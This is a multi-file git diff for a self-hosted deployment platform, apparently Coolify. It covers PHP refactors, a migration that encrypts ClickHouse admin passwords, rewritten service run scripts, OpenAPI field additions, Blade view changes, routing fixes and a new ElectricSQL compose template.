'wire:navigate.hover' : ''; - } catch (\Exception $e) { + } catch (Exception $e) { return 'wire:navigate.hover'; } } @@ -3457,13 +3464,13 @@ function wireNavigate(): string * Redirect to a named route with SPA navigation support. * Automatically uses wire:navigate when is_wire_navigate_enabled is true. */ -function redirectRoute(Livewire\Component $component, string $name, array $parameters = []): mixed +function redirectRoute(Component $component, string $name, array $parameters = []): mixed { $navigate = true; try { $navigate = instanceSettings()->is_wire_navigate_enabled ?? true; - } catch (\Exception $e) { + } catch (Exception $e) { $navigate = true; } @@ -3505,7 +3512,7 @@ function loadConfigFromGit(string $repository, string $branch, string $base_dire ]); try { return instant_remote_process($commands, $server); - } catch (\Exception) { + } catch (Exception) { // continue } } @@ -3636,8 +3643,8 @@ function convertGitUrl(string $gitRepository, string $deploymentType, GithubApp| // If this happens, the user may have provided an HTTP URL when they needed an SSH one // Let's try and fix that for known Git providers switch ($source->getMorphClass()) { - case \App\Models\GithubApp::class: - case \App\Models\GitlabApp::class: + case GithubApp::class: + case GitlabApp::class: $providerInfo['host'] = Url::fromString($source->html_url)->getHost(); $providerInfo['port'] = $source->custom_port; $providerInfo['user'] = $source->custom_user; @@ -3915,10 +3922,10 @@ function shouldSkipPasswordConfirmation(): bool * - User has no password (OAuth users) * * @param mixed $password The password to verify (may be array if skipped by frontend) - * @param \Livewire\Component|null $component Optional Livewire component to add errors to + * @param Component|null $component Optional Livewire component to add errors to * @return bool True if verification passed (or skipped), false if password is incorrect */ -function verifyPasswordConfirmation(mixed $password, ?Livewire\Component $component = null): bool +function verifyPasswordConfirmation(mixed $password, ?Component $component = null): bool { // Skip if password confirmation should be skipped if (shouldSkipPasswordConfirmation()) { @@ -3941,17 +3948,17 @@ function verifyPasswordConfirmation(mixed $password, ?Livewire\Component $compon * Extract hard-coded environment variables from docker-compose YAML. * * @param string $dockerComposeRaw Raw YAML content - * @return \Illuminate\Support\Collection Collection of arrays with: key, value, comment, service_name + * @return Collection Collection of arrays with: key, value, comment, service_name */ -function extractHardcodedEnvironmentVariables(string $dockerComposeRaw): \Illuminate\Support\Collection +function extractHardcodedEnvironmentVariables(string $dockerComposeRaw): Collection { if (blank($dockerComposeRaw)) { return collect([]); } try { - $yaml = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw); - } catch (\Exception $e) { + $yaml = Yaml::parse($dockerComposeRaw); + } catch (Exception $e) { // Malformed YAML - return empty collection return collect([]); } @@ -4100,7 +4107,7 @@ function resolveSharedEnvironmentVariables(?string $value, $resource): ?string if (is_null($id)) { continue; } - $found = \App\Models\SharedEnvironmentVariable::where('type', $type) + $found = SharedEnvironmentVariable::where('type', $type) ->where('key', $variable) ->where('team_id', $resource->team()->id) ->where("{$type}_id", $id) diff --git a/config/purify.php b/config/purify.php index 66dbbb568..a5dcabb92 100644 --- a/config/purify.php +++ b/config/purify.php @@ -49,6 +49,17 @@ 'AutoFormat.RemoveEmpty' => false, ], + 'validation_logs' => [ + 'Core.Encoding' => 'utf-8', + 'HTML.Doctype' => 'HTML 4.01 Transitional', + 'HTML.Allowed' => 'a[href|title|target|class],br,div[class],pre[class],span[class],p[class]', + 'HTML.ForbiddenElements' => '', + 'CSS.AllowedProperties' => '', + 'AutoFormat.AutoParagraph' => false, + 'AutoFormat.RemoveEmpty' => false, + 'Attr.AllowedFrameTargets' => ['_blank'], + ], + ], /* diff --git a/database/migrations/2026_03_29_000000_encrypt_existing_clickhouse_admin_passwords.php b/database/migrations/2026_03_29_000000_encrypt_existing_clickhouse_admin_passwords.php new file mode 100644 index 000000000..a4a6988f2 --- /dev/null +++ b/database/migrations/2026_03_29_000000_encrypt_existing_clickhouse_admin_passwords.php @@ -0,0 +1,39 @@ +chunkById(100, function ($clickhouses) { + foreach ($clickhouses as $clickhouse) { + $password = $clickhouse->clickhouse_admin_password; + + if (empty($password)) { + continue; + } + + // Skip if already encrypted (idempotent) + try { + Crypt::decryptString($password); + + continue; + } catch (Exception) { + // Not encrypted yet โ€” encrypt it + } + + DB::table('standalone_clickhouses') + ->where('id', $clickhouse->id) + ->update(['clickhouse_admin_password' => Crypt::encryptString($password)]); + } + }); + } catch (Exception $e) { + echo 'Encrypting ClickHouse admin passwords failed.'; + echo $e->getMessage(); + } + } +} diff --git a/database/migrations/2026_03_30_120000_add_docker_registry_image_tag_to_application_previews_and_deployment_queues.php b/database/migrations/2026_03_30_120000_add_docker_registry_image_tag_to_application_previews_and_deployment_queues.php new file mode 100644 index 000000000..2dafa2737 --- /dev/null +++ b/database/migrations/2026_03_30_120000_add_docker_registry_image_tag_to_application_previews_and_deployment_queues.php @@ -0,0 +1,30 @@ +string('docker_registry_image_tag')->nullable()->after('docker_compose_domains'); + }); + + Schema::table('application_deployment_queues', function (Blueprint $table) { + $table->string('docker_registry_image_tag')->nullable()->after('pull_request_id'); + }); + } + + public function down(): void + { + Schema::table('application_previews', function (Blueprint $table) { + $table->dropColumn('docker_registry_image_tag'); + }); + + Schema::table('application_deployment_queues', function (Blueprint $table) { + $table->dropColumn('docker_registry_image_tag'); + }); + } +}; diff --git a/database/seeders/RootUserSeeder.php b/database/seeders/RootUserSeeder.php index e3968a1c9..c4e93af63 100644 --- a/database/seeders/RootUserSeeder.php +++ b/database/seeders/RootUserSeeder.php @@ -45,12 +45,13 @@ public function run(): void } try { - User::create([ + $user = (new User)->forceFill([ 'id' => 0, 'name' => env('ROOT_USERNAME', 'Root User'), 'email' => env('ROOT_USER_EMAIL'), 'password' => Hash::make(env('ROOT_USER_PASSWORD')), ]); + $user->save(); echo "\n SUCCESS Root user created successfully.\n\n"; } catch (\Exception $e) { echo "\n ERROR Failed to create root user: {$e->getMessage()}\n\n"; diff --git a/docker/development/etc/s6-overlay/s6-rc.d/horizon/run b/docker/development/etc/s6-overlay/s6-rc.d/horizon/run index ada19b3a3..dbc472d06 100644 --- a/docker/development/etc/s6-overlay/s6-rc.d/horizon/run +++ b/docker/development/etc/s6-overlay/s6-rc.d/horizon/run @@ -1,12 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:horizon -} +if grep -qE '^HORIZON_ENABLED=false' .env 2>/dev/null; then + echo " INFO Horizon is disabled, sleeping." + exec sleep infinity +fi +echo " INFO Horizon is enabled, starting..." +exec php artisan horizon diff --git a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run index 1166ccd08..ee46dba7e 100644 --- a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run +++ b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run @@ -1,12 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:nightwatch -} +if grep -qE '^NIGHTWATCH_ENABLED=true' .env 2>/dev/null; then + echo " INFO Nightwatch is enabled, starting..." + exec php artisan nightwatch:agent +fi +echo " INFO Nightwatch is disabled, sleeping." +exec sleep infinity diff --git a/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run b/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run index b81a44833..bfa44c7e3 100644 --- a/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run +++ b/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run @@ -1,13 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:scheduler -} - +if grep -qE '^SCHEDULER_ENABLED=false' .env 2>/dev/null; then + echo " INFO Scheduler is disabled, sleeping." + exec sleep infinity +fi +echo " INFO Scheduler is enabled, starting..." +exec php artisan schedule:work diff --git a/docker/production/etc/s6-overlay/s6-rc.d/horizon/run b/docker/production/etc/s6-overlay/s6-rc.d/horizon/run index be6647607..dbc472d06 100644 --- a/docker/production/etc/s6-overlay/s6-rc.d/horizon/run +++ b/docker/production/etc/s6-overlay/s6-rc.d/horizon/run @@ -1,11 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:horizon -} +if grep -qE '^HORIZON_ENABLED=false' .env 2>/dev/null; then + echo " INFO Horizon is disabled, sleeping." + exec sleep infinity +fi + +echo " INFO Horizon is enabled, starting..." +exec php artisan horizon diff --git a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run index 80d73eadb..ee46dba7e 100644 --- a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run +++ b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run @@ -1,11 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:nightwatch -} +if grep -qE '^NIGHTWATCH_ENABLED=true' .env 2>/dev/null; then + echo " INFO Nightwatch is enabled, starting..." + exec php artisan nightwatch:agent +fi + +echo " INFO Nightwatch is disabled, sleeping." +exec sleep infinity diff --git a/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run b/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run index a2ecb0a73..bfa44c7e3 100644 --- a/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run +++ b/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run @@ -1,10 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:scheduler -} + +if grep -qE '^SCHEDULER_ENABLED=false' .env 2>/dev/null; then + echo " INFO Scheduler is disabled, sleeping." + exec sleep infinity +fi + +echo " INFO Scheduler is enabled, starting..." +exec php artisan schedule:work diff --git a/openapi.json b/openapi.json index aec5a2843..ed8decb48 100644 --- a/openapi.json +++ b/openapi.json @@ -407,6 +407,11 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "default": false, + "description": "Preserve repository during deployment." } }, "type": "object" @@ -852,6 +857,11 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "default": false, + "description": "Preserve repository during deployment." } }, "type": "object" @@ -1297,6 +1307,11 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "default": false, + "description": "Preserve repository during deployment." } }, "type": "object" @@ -2704,6 +2719,10 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "description": "Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false." } }, "type": "object" @@ -4544,6 +4563,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -4989,6 +5012,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5117,6 +5144,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5241,6 +5272,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5369,6 +5404,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5497,6 +5536,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5637,6 +5680,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5777,6 +5824,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5905,6 +5956,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -7219,6 +7274,22 @@ "schema": { "type": "integer" } + }, + { + "name": "pull_request_id", + "in": "query", + "description": "Preview deployment identifier. Alias of pr.", + "schema": { + "type": "integer" + } + }, + { + "name": "docker_tag", + "in": "query", + "description": "Docker image tag for Docker Image preview deployments. Requires pull_request_id.", + "schema": { + "type": "string" + } } ], "responses": { @@ -12679,6 +12750,10 @@ "pull_request_id": { "type": "integer" }, + "docker_registry_image_tag": { + "type": "string", + "nullable": true + }, "force_rebuild": { "type": "boolean" }, diff --git a/openapi.yaml b/openapi.yaml index 93038ce80..157cd9f69 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -291,6 +291,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + default: false + description: 'Preserve repository during deployment.' type: object responses: '201': @@ -575,6 +579,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + default: false + description: 'Preserve repository during deployment.' type: object responses: '201': @@ -859,6 +867,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + default: false + description: 'Preserve repository during deployment.' type: object responses: '201': @@ -1741,6 +1753,9 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + description: 'Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false.' type: object responses: '200': @@ -2873,6 +2888,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3189,6 +3207,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3281,6 +3302,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3370,6 +3394,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3462,6 +3489,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3554,6 +3584,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3655,6 +3688,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3756,6 +3792,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3848,6 +3887,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -4668,6 +4710,18 @@ paths: description: 'Pull Request Id for deploying specific PR builds. Cannot be used with tag parameter.' schema: type: integer + - + name: pull_request_id + in: query + description: 'Preview deployment identifier. Alias of pr.' + schema: + type: integer + - + name: docker_tag + in: query + description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.' + schema: + type: string responses: '200': description: "Get deployment(s) UUID's" @@ -8063,6 +8117,9 @@ components: type: string pull_request_id: type: integer + docker_registry_image_tag: + type: string + nullable: true force_rebuild: type: boolean commit: diff --git a/public/svgs/electricsql.svg b/public/svgs/electricsql.svg new file mode 100644 index 000000000..bbffe200a --- /dev/null +++ b/public/svgs/electricsql.svg @@ -0,0 +1,4 @@ + + + + diff --git a/resources/views/components/forms/env-var-input.blade.php b/resources/views/components/forms/env-var-input.blade.php index 2466a57f9..d26e248c1 100644 --- a/resources/views/components/forms/env-var-input.blade.php +++ b/resources/views/components/forms/env-var-input.blade.php @@ -10,7 +10,7 @@ @endif -
@if ($type === 'password' && $allowToPeak) -
- + -
+ + + + + + + @endif merge(['class' => $defaultClass]) }} @required($required) @readonly($readonly) @@ -210,12 +220,10 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif wire:loading.attr="disabled" - @if ($type === 'password') - :type="type" - @else + @disabled($disabled) + @if ($type !== 'password') type="{{ $type }}" @endif - @disabled($disabled) @if ($htmlId !== 'null') id="{{ $htmlId }}" @endif name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" diff --git a/resources/views/components/forms/input.blade.php b/resources/views/components/forms/input.blade.php index cf72dfbe9..456aa1da8 100644 --- a/resources/views/components/forms/input.blade.php +++ b/resources/views/components/forms/input.blade.php @@ -13,10 +13,11 @@ @endif @if ($type === 'password') -
+
@if ($allowToPeak) -
+
+ @endif merge(['class' => $defaultClass]) }} @required($required) @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif wire:loading.attr="disabled" - type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" + @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" aria-placeholder="{{ $attributes->get('placeholder') }}" @if ($autofocus) x-ref="autofocusInput" @endif> diff --git a/resources/views/components/forms/monaco-editor.blade.php b/resources/views/components/forms/monaco-editor.blade.php index e774f5863..1a35be218 100644 --- a/resources/views/components/forms/monaco-editor.blade.php +++ b/resources/views/components/forms/monaco-editor.blade.php @@ -1,4 +1,4 @@ -
+
@else @if ($type === 'password') -
+
@if ($allowToPeak) -
- + -
+ + + + + + + @endif merge(['class' => $defaultClassInput]) }} @required($required) diff --git a/resources/views/emails/server-force-disabled.blade.php b/resources/views/emails/server-force-disabled.blade.php index 805df3296..4ab46b5a0 100644 --- a/resources/views/emails/server-force-disabled.blade.php +++ b/resources/views/emails/server-force-disabled.blade.php @@ -1,5 +1,5 @@ Your server ({{ $name }}) disabled because it is not paid! All automations and integrations are stopped. - Please update your subscription to enable the server again [here](https://app.coolify.io/subscriptions). + Please update your subscription to enable the server again [here](https://app.coolify.io/subscription). diff --git a/resources/views/layouts/base.blade.php b/resources/views/layouts/base.blade.php index 2b4ca6054..33968ee32 100644 --- a/resources/views/layouts/base.blade.php +++ b/resources/views/layouts/base.blade.php @@ -203,30 +203,6 @@ function checkTheme() { let checkHealthInterval = null; let checkIfIamDeadInterval = null; - function changePasswordFieldType(event) { - let element = event.target - for (let i = 0; i < 10; i++) { - if (element.className === "relative") { - break; - } - element = element.parentElement; - } - element = element.children[1]; - if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') { - if (element.type === 'password') { - element.type = 'text'; - if (element.disabled) return; - element.classList.add('truncate'); - this.type = 'text'; - } else { - element.type = 'password'; - if (element.disabled) return; - element.classList.remove('truncate'); - this.type = 'password'; - } - } - } - function copyToClipboard(text) { navigator?.clipboard?.writeText(text) && window.Livewire.dispatch('success', 'Copied to clipboard.'); } @@ -326,4 +302,4 @@ function copyToClipboard(text) { @show - \ No newline at end of file + diff --git a/resources/views/livewire/project/application/configuration.blade.php b/resources/views/livewire/project/application/configuration.blade.php index 597bfa0a4..02927b0b4 100644 --- a/resources/views/livewire/project/application/configuration.blade.php +++ b/resources/views/livewire/project/application/configuration.blade.php @@ -42,11 +42,11 @@ @endif - str($currentRoute)->startsWith('project.application.scheduled-tasks')]) {{ wireNavigate() }} href="{{ route('project.application.scheduled-tasks.show', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}">Scheduled Tasks Webhooks - @if ($application->git_based()) + @if ($application->git_based() || $application->build_pack === 'dockerimage') Preview Deployments @endif @@ -84,6 +84,8 @@ @elseif ($currentRoute === 'project.application.scheduled-tasks.show') + @elseif ($currentRoute === 'project.application.scheduled-tasks') + @elseif ($currentRoute === 'project.application.webhooks') @elseif ($currentRoute === 'project.application.preview-deployments') diff --git a/resources/views/livewire/project/application/previews.blade.php b/resources/views/livewire/project/application/previews.blade.php index f0f5d0962..1ae86bf32 100644 --- a/resources/views/livewire/project/application/previews.blade.php +++ b/resources/views/livewire/project/application/previews.blade.php @@ -68,6 +68,20 @@ class="dark:text-warning">{{ $application->destination->server->name }}.< @endif
+ @if ($application->build_pack === 'dockerimage') +
+

Manual Preview Deployment

+
+ + + @can('deploy', $application) + Deploy Preview + @endcan + +
+ @endif @if ($application->previews->count() > 0)

Deployments

@@ -87,11 +101,13 @@ class="dark:text-warning">{{ $application->destination->server->name }}.< @endif - | - Open - PR on Git - - + @if (filled(data_get($preview, 'pull_request_html_url'))) + | + Open + PR on Git + + + @endif @if (count($parameters) > 0) |
+ @if ($application->build_pack === 'dockerimage') + + @endif @can('update', $application) Save Generate @@ -157,7 +177,8 @@ class="flex items-end gap-2 pt-4"> Force deploy (without cache) - + @if (data_get($preview, 'status') === 'exited')
- -
diff --git a/resources/views/livewire/project/database/dragonfly/general.blade.php b/resources/views/livewire/project/database/dragonfly/general.blade.php index e81d51c07..856fb8d93 100644 --- a/resources/views/livewire/project/database/dragonfly/general.blade.php +++ b/resources/views/livewire/project/database/dragonfly/general.blade.php @@ -113,9 +113,9 @@
- -
diff --git a/resources/views/livewire/project/database/keydb/general.blade.php b/resources/views/livewire/project/database/keydb/general.blade.php index 522b96c0a..2310242c9 100644 --- a/resources/views/livewire/project/database/keydb/general.blade.php +++ b/resources/views/livewire/project/database/keydb/general.blade.php @@ -113,9 +113,9 @@
- -
- - - - - - diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php index 74b1a03a8..e8536e735 100644 --- a/resources/views/livewire/project/database/postgresql/general.blade.php +++ b/resources/views/livewire/project/database/postgresql/general.blade.php @@ -163,9 +163,9 @@ - - diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php index 11ffddd81..485c69125 100644 --- a/resources/views/livewire/project/database/redis/general.blade.php +++ b/resources/views/livewire/project/database/redis/general.blade.php @@ -132,9 +132,9 @@ - - $project->uuid, 'environment_uuid' => $environment->uuid, 'service_uuid' => $service->uuid]) }}">Environment Variables Persistent Storages - str($currentRoute)->startsWith('project.service.scheduled-tasks')]) {{ wireNavigate() }} href="{{ route('project.service.scheduled-tasks.show', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'service_uuid' => $service->uuid]) }}">Scheduled Tasks Webhooks @@ -189,6 +189,8 @@ class="w-4 h-4 dark:text-warning text-coollabs" @endforeach @elseif ($currentRoute === 'project.service.scheduled-tasks.show') + @elseif ($currentRoute === 'project.service.scheduled-tasks') + @elseif ($currentRoute === 'project.service.webhooks') @elseif ($currentRoute === 'project.service.resource-operations') diff --git a/resources/views/livewire/project/service/index.blade.php b/resources/views/livewire/project/service/index.blade.php index 04d30ae60..8c1c09e04 100644 --- a/resources/views/livewire/project/service/index.blade.php +++ b/resources/views/livewire/project/service/index.blade.php @@ -233,7 +233,7 @@ class="w-auto dark:bg-coolgray-200 dark:hover:bg-coolgray-300"> - @if ($db_url_public) - - {{ data_get_str($resource, 'name')->limit(10) }} > Scheduled Tasks | Coolify - - @if ($type === 'application') -

Scheduled Task

- - @elseif ($type === 'service') - - @endif -
-

Scheduled Task

+

Task {{ $task->name }}

Save @@ -21,6 +11,11 @@ Execute Now @endif + @if (!$isEnabled) + Enable Task + @else + Disable Task + @endif
-
- -
+

Configuration

- - + @if ($type === 'application') @@ -47,6 +40,7 @@ id="container" label="Service name" /> @endif
+
diff --git a/resources/views/livewire/settings/advanced.blade.php b/resources/views/livewire/settings/advanced.blade.php index 242cacf48..6c26b453d 100644 --- a/resources/views/livewire/settings/advanced.blade.php +++ b/resources/views/livewire/settings/advanced.blade.php @@ -16,11 +16,31 @@ class="flex flex-col h-full gap-8 sm:flex-row">
Advanced settings for your Coolify instance.
-
- -
+ @if ($is_registration_enabled) +
+ +
+ @else +
+ + +
+ @endif
-
\ No newline at end of file +
diff --git a/resources/views/livewire/subscription/actions.blade.php b/resources/views/livewire/subscription/actions.blade.php index 6fba0ed83..aa129043b 100644 --- a/resources/views/livewire/subscription/actions.blade.php +++ b/resources/views/livewire/subscription/actions.blade.php @@ -160,7 +160,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
- Total / {{ $billingInterval === 'yearly' ? 'year' : 'month' }} + Total / month
diff --git a/routes/web.php b/routes/web.php index dfb44324c..ec2c45e50 100644 --- a/routes/web.php +++ b/routes/web.php @@ -90,8 +90,6 @@ use Illuminate\Support\Facades\Storage; use Symfony\Component\HttpFoundation\StreamedResponse; -Route::get('/admin', AdminIndex::class)->name('admin.index'); - Route::post('/forgot-password', [Controller::class, 'forgot_password'])->name('password.forgot')->middleware('throttle:forgot-password'); Route::get('/realtime', [Controller::class, 'realtime_test'])->middleware('auth'); Route::get('/verify', [Controller::class, 'verify'])->middleware('auth')->name('verify.email'); @@ -109,6 +107,7 @@ }); Route::get('/', Dashboard::class)->name('dashboard'); + Route::get('/admin', AdminIndex::class)->name('admin.index'); Route::get('/onboarding', BoardingIndex::class)->name('onboarding'); Route::get('/subscription', SubscriptionShow::class)->name('subscription.show'); @@ -231,7 +230,7 @@ Route::get('/deployment/{deployment_uuid}', DeploymentShow::class)->name('project.application.deployment.show'); Route::get('/logs', Logs::class)->name('project.application.logs'); Route::get('/terminal', ExecuteContainerCommand::class)->name('project.application.command')->middleware('can.access.terminal'); - Route::get('/tasks/{task_uuid}', ScheduledTaskShow::class)->name('project.application.scheduled-tasks'); + Route::get('/tasks/{task_uuid}', ApplicationConfiguration::class)->name('project.application.scheduled-tasks'); }); Route::prefix('project/{project_uuid}/environment/{environment_uuid}/database/{database_uuid}')->group(function () { Route::get('/', DatabaseConfiguration::class)->name('project.database.configuration'); @@ -265,7 +264,7 @@ Route::get('/{stack_service_uuid}/backups', ServiceDatabaseBackups::class)->name('project.service.database.backups'); Route::get('/{stack_service_uuid}/import', ServiceIndex::class)->name('project.service.database.import')->middleware('can.update.resource'); Route::get('/{stack_service_uuid}', ServiceIndex::class)->name('project.service.index'); - Route::get('/tasks/{task_uuid}', ScheduledTaskShow::class)->name('project.service.scheduled-tasks'); + Route::get('/tasks/{task_uuid}', ServiceConfiguration::class)->name('project.service.scheduled-tasks'); }); Route::get('/servers', ServerIndex::class)->name('server.index'); diff --git a/templates/compose/electricsql.yaml b/templates/compose/electricsql.yaml new file mode 100644 index 000000000..b1ae2ff96 --- /dev/null +++ b/templates/compose/electricsql.yaml @@ -0,0 +1,27 @@ +# documentation: https://electric-sql.com/docs/guides/deployment +# slogan: Sync shape-based subsets of your Postgres data over HTTP. +# category: backend +# tags: electric,electricsql,realtime,sync,postgresql +# logo: svgs/electricsql.svg +# port: 3000 + +## This template intentionally does not deploy PostgreSQL. +## Set DATABASE_URL to an existing Postgres instance with logical replication enabled. +## If ELECTRIC_SECRET is set, your own backend/proxy must append it to shape requests. + +services: + electric: + image: electricsql/electric:1.4.2 + environment: + - SERVICE_URL_ELECTRIC_3000 + - DATABASE_URL=${DATABASE_URL:?} + - ELECTRIC_SECRET=${SERVICE_PASSWORD_64_ELECTRIC} + - ELECTRIC_STORAGE_DIR=/app/persistent + - ELECTRIC_USAGE_REPORTING=${ELECTRIC_USAGE_REPORTING:-false} + volumes: + - electric_data:/app/persistent + healthcheck: + test: ["CMD", "curl", "-f", "http://127.0.0.1:3000/v1/health"] + interval: 10s + timeout: 5s + 